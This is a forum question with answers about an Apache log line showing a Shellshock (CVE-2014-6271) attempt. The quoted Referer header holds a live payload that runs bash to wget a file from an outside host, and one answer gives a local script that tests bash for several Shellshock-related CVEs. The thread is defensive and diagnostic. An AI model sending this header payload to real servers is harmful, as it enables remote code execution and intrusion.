Error message in Apache logs shows /bin/bash and wget

Question

I am wondering if my server is compromised or not I just looked at my log and seen the following line in there

[Thu May 14 09:10:42.587255 2015] [autoindex:error] [pid 3422] [client 207.141.124.18:59142] AH01276: Cannot serve directory /var/www/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm) found, and server-generated directory index forbidden by Options directive, referer: () { :;}; /bin/bash -c "wget -O /tmp/bbb dprftp.asuscomm.com/novo.php?ip=37332e33362e3134302e313938"

It is worrying my because I see /bin/bash -c "wget -O /tmp/bbb dprftp.asuscomm.com/novo.php?ip=37332e33362e3134302e313938"

I am not sure if they were able to execute that command successfully or not. I realize it is an error but I just want to make sure.

Answer 1

This is an attempt to exploit CVE-2014-6271 (the “shellshock” vulnerability, if we must).

Its appearance in this message is no indication that it was successful; any client can include any string in the Referer: header and have it included in logs here.

The attempt didn't succeeded in this specific case, because the log message is telling you there was no script present at the target URL /, so there was nothing that would have evaluated the code. However, you should assume that this and other bots are hitting other URLs too.

If your server has been updated with security patches since CVE-2014-6271 came out, you're fine.

Answer 2

So it looks like someone is trying to use the shellshock vulnerability which was recently discovered in the bash shell. The key give-away is the part of the log which reads:

referer: () { :;}; /bin/bash

What the attacker (or unknowing participant) has done is to set their web browser's http referer header to everything you see after the word "referer" in your log. If your server is vulnerable then the () { :;}; will cause everything following it to be executed. This could occur if a CGI script is run on a machine with an unpatched version of bash, and where that script uses the referer variable.

Answer 3

I got the same case, to check is your server are vulnerable to ShellShock:

#!/bin/bash
EXITCODE=0

# CVE-2014-6271
CVE20146271=$(env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test" 2>&1 | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6271 (original shellshock): "
if [ $CVE20146271 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+1))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

# CVE-2014-6277
# it is fully mitigated by the environment function prefix passing avoidance
CVE20146277=$((shellshocker="() { x() { _;}; x() { _;} <<a; }" bash -c date 2>/dev/null || echo vulnerable) | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6277 (segfault): "
if [ $CVE20146277 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+2))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

# CVE-2014-6278
CVE20146278=$(shellshocker='() { echo vulnerable; }' bash -c shellshocker 2>/dev/null | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6278 (Florian's patch): "
if [ $CVE20146278 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+4))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

# CVE-2014-7169
CVE20147169=$((cd /tmp; rm -f /tmp/echo; env X='() { (a)=>\' bash -c "echo echo nonvuln" 2>/dev/null; [[ "$(cat echo 2> /dev/null)" == "nonvuln" ]] && echo "vulnerable" 2> /dev/null) | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7169 (taviso bug): "
if [ $CVE20147169 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+8))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

# CVE-2014-7186
CVE20147186=$((bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' 2>/dev/null || echo "vulnerable") | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7186 (redir_stack bug): "
if [ $CVE20147186 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+16))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

# CVE-2014-7187
CVE20147187=$(((for x in {1..200}; do echo "for x$x in ; do :"; done; for x in {1..200}; do echo done; done) | bash || echo "vulnerable") | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7187 (nested loops off by one): "
if [ $CVE20147187 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+32))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

# CVE-2014-////
CVE2014=$(env X=' () { }; echo vulnerable' bash -c 'date' | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-//// (exploit 3 on http://shellshocker.net/): "
if [ $CVE2014 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+64))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

exit $EXITCODE

That way of update the bash fix this issue:

sudo apt-get update && sudo apt-get install --only-upgrade bash